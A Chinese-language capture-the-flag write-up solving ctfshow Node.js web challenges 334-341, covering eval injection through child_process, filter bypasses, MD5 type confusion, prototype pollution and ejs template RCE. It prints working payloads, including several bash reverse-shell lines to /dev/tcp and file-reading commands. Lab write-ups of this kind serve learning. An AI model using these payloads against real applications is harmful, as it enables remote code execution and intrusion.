ctfshow web入门 nodejs 334-341(更新中)
前言
说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎。
这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用的都是global.process.mainModule.constructor._load,这两个的意思都是一样,既然require能使用的话,为什么还要搞这个这么长?
后面我有进行尝试,但是发现好像有的并没有执行,难道require不是全局的吗,就慢慢有了深深的疑惑但是后面看p神的文章,在评论中看到了答案
感觉都有一些帮助,就都截下来了
web334
这里给了,我们两个文件,一个user.js,一个login.js
//user.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'}); }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});} });module.exports = router;
//user.jsmodule.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};
这里分析一下,这里获取user.js的数组
var users = require('../modules/user').items;
这里分析一下,他这里name不能等于CTFSHOW,但是获得flag的条件是user等于CTFSHOW,password等于123456,但是toUpperCase可以将小写转换成大写
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
var a = "adaAa"; a = a.toUpperCase(); console.log(a);//回显 ADAAA
然后y佬这里还有一些小tips
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
payload:get:/loginpost传:username=ctfshow&password=123456或者网页直接登录ctfhsow:123456
web335
这里打开源代码提示我们
在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。
通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。
这里我们使用require()函数来加载child_process模块,他下面有这些方法。
通过学习,我们可以知道,下面这三个我们可以直接利用的
payload:require('child_process').execSync('cat f*').toString()require('child_process').spawnSync('cat', ['f*']).stdout.toString()额外的发现execFileSync只能执行ls之类,他cat不了文件require('child_process').execSync('cat f*') 这里突然发现不用toString也行
web336
方法一:
发现这里exec好像被禁了,而且统配符不知道为什么突然用不了
payload:require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
方法二:
这里是参考y4师傅 的方法
__filename :返回当前模块文件的绝对路径
#这个可以读取文件
require('fs').readFileSync('/app/routes/index.js','utf-8')
这里知道过滤exec,我们可以像ssti一样绕过他
payload:require('child_process')['e'%2b'xecSync']('cat f*').toString()
方法三:
还是经过学习,发现fs模块,还有列出目录中的文件的方法。
//列出当前目录下的文件
require('fs').readdirSync('./')
payload:require('fs').readFileSync('fl001g.txt','utf-8')
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;
这种相对在php,我们见到的很多,就是利用数组绕过md5,但是这里尝试的时候好像不行,呃呃呃,我们到本地看一手。
方法一:
这里看似a和b是相等的,但是其实就是c和d这样,他是不一样的,但是如果就是1和1呢,不是1和2
a={'':'1'}
b={'':'2'}
const c = [1];
const d = [2];console.log(a+"flag")
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")//回显
[object Object]flag
[object Object]flag
1flag
2flag
payload:?a[]=1&b[]=1
方法二:
我们要知道js,我们是可以使用字符索引的
a={'a':'1'}
b={'a':'2'}console.log(a+"flag")
console.log(b+"flag")
//回显
[object Object]flag
[object Object]flag
payload:?a[a]=1&b[a]=2
方法三:
这个是看到bfengj师傅,才知道的,我知道js是弱类型,但是说这样用就有点过分了吧
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
payload:?a[1]=1&b=1
web338
这里可以先看p神的文章,真的很有帮助
这里简单理解一下什么原型链污染,我本地实例一下
首先我们要知道
1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性
b的值为什么还是100?
首先我们要明白他获取值的顺序1.先在b对象中先找number的值
2.再去b.__proto__中找值
3.再去b.__proto__.__proto__直到找到了值或者找到了null
c为什么是1000?
这里我们每个对象的__proto__都是指向Object.prototype的
b.__proto__污染了Object.prototype,那么c.__proto__也是指向Object.prototype,所以c对象中肯定是没有值,所以就会在c.__proto__中找值,这里有值就是被b污染的值。
然后开始分析题目,这个他给了源码,分析一下
#login.js
//flag
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }
});
#utils/common.js
//利用点
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
这里先看到利用点,这里copy的意思就是将
object1和object2对比,如果存在没有的属性,就会将属性和值给object1
这里他user和secert对象都是指向Object.prototype,所以只要user.__proto__.ctfshow等于36dboy就可以了
所以ctfshow,user肯定是没有的,所以就会添加进去
这里举个例子,下面经过调用就会变成
var object1 = {a: 1,b: {c: 2,d: 3}}; var object2 = {a: 1,"__proto__":{"ctfshow1":"36dboy"}}
//object1 {a: 1,b: {c: 2,d: 3},"__proto__": {ctfshow1: "36dboy"} }
所以按这种理解,我们用post传入{"__proto__":{"ctfshow":"36dboy"}} 就可以了
payload:post传:{"__proto__":{"ctfshow":"36dboy"}}
web339
这里和上面的文件挺像的,这里根据app.js这里,查看相关的东西
api.js login.js utils/common.js
这里拿出来里面比较重要的东西。
//api.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});
//login.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }
});
//common.js
function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
方法一:
这里common.js中的copy方法,我们知道的是可以进行原型链污染的
这里看到login.js中,他叫我们ctfshow的值要去等于flag的值,这是根本不可能的事情,要是我们知道flag,还要搞这个干嘛,但是峰回路转,这里我们看到api.js中
if(secert.ctfshow===flag){res.end(flag);}
这里注意其中Function(query)(query)是可以执行任意js代码的,下面分析一下
//api.js
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。
而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。
所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。
//这个尝试很多次,总结最好用vps或者用花生壳反弹shell,flag在/app/routes/login.js中payload:post传:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}
方法二:
通过在y佬那边的学习,我学习到还有一种ejs rce
payload:{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var __tmp2"}}
或者{"constructor/prototype/outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"命令\"); //"}
web340
这里源码其中就是login.js和上面不一样,这里就直接来看看
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
});
从上面我们就知道了,user不是直接对接Object
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}
console.log(user.__proto__===Object.prototype)
console.log(user.__proto__.__proto__ === Function.prototype)
console.log(user.__proto__.__proto__ === Object.prototype)
//回显
false
false
true
这里我们分析一下,user的实例对象是由一个匿名构造函数创建的,user.__proto__指向的是这个构造函数的原型对象,而这个构造函数的默认原型对象是一个空对象,但是空对象的原型对象的原型就是Object.prototype
所以简单点说user.__proto__.__proto__就是对应的Object.prototype所以构造user.__proto__.__proto__.query的值为我们想要执行的命令就可以了,然后回去访问api就可以了
下面是验证
console.log(user.__proto__) console.log(user.__proto__.__proto__)//回显 {} [Object: null prototype] {}
payload:{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/自己ip/端口 0>&1\"')"}}}
web341
这里给的源码和上面的一样,但是我们没有api.js,那就证明我们不能使用api来执行任意js代码,但是吧,我们在上面就知道了,这里还是有一个ejs rce的。
但是吧,我不太理解,这里我看了挺多人的,感觉讲的都挺凌磨两可的,哈哈哈,可能也有自己菜的原因。
这里总结一下存在原型链污染和require('ejs') ,就可以尝试尝试ejs rce。
//flag在根目录
payload:{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/靶机ip/端口 0>&1\"');var __tmp2"}}}
ctfshow web入门 nodejs 334-341(更新中)相关推荐
- Web前端技术 Web学习资料 Web学习路线 Web入门宝典(不断更新中)
(此文档于2019年3月停止再更新,后续更新移步至:https://github.com/liuyuqin1991/polaris) 学习路线 第一章 技术(核心单独列章节) 1.Node Node. ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门-XXE
ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- ctfshow web入门 反序列化 前篇 254-266
这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
最新文章
- Codeforces Round #372 (Div. 2), problem: (B) Complete the Word
- 百度:YOLOX和NanoDet都没我优秀!轻量型实时目标检测模型PP-PicoDet开源
- 无名岛外贸电商 远程操作linux网站常用命令,整理收集 Linux SSH命令 (
- MaxAlertView 强大的弹框试图
- PAT甲级题目翻译+答案 AcWing(进位制)
- matlab哈明窗带阻,基于matlabFIR低通,高通,带通,带阻滤波器设计.doc
- AWS DevOps – 配合Jenkins和CodeDeploy实现代码自动化部署
- 如何去选取第一批要阅读的论文?_顶会最佳论文奖得主:初入科研领域,如何正确做科研?...
- 马自达 3 为什么抛弃了触摸屏?
- python自学入门-初学 Python 者自学 Anaconda 的正确姿势是什么?
- Matlab 四阶龙格库塔法求解二元常微分方程组
- 项目经理必备的基本职责
- 国产高人气无线蓝牙耳机测评,抖音火爆的蓝牙耳机值得入手吗?
- 计算机服务中无spool,print spool自动关闭,print spooler
- C# CSharp计算标准偏差 重复精度 和Excel中的STDEV函数相同
- zblog php getlist,zblog函数:GetArticleList()
- Rehub主题教程 – 如何构建折扣优惠淘客网站
- 我为什么要考非全日制研究生
- yo搭建nodejs项目脚手架
- 怎样用C++制作汉诺塔
热门文章
- 计算机主机箱连接线路,怎样连接电脑所有配件? 电脑主机与显示器接线安装步骤...
- 容器化技术和Docker
- XILINX 7series/ultrascale IDDR/ODDR使用区别
- Python正则表达式-1
- 接口编写 文档规范 总结
- linux安装sqlserver
- Android美化插件,Android控件美化Shape
- IntelliJ IDEA中JAVA连接MySQL数据库
- npm 安装node后,node-v和npm -v提示不是内部或外部命令,也不是可运行的程序 或批处理文件
- 短视频系统源代码,加载本地图片和加载网络图片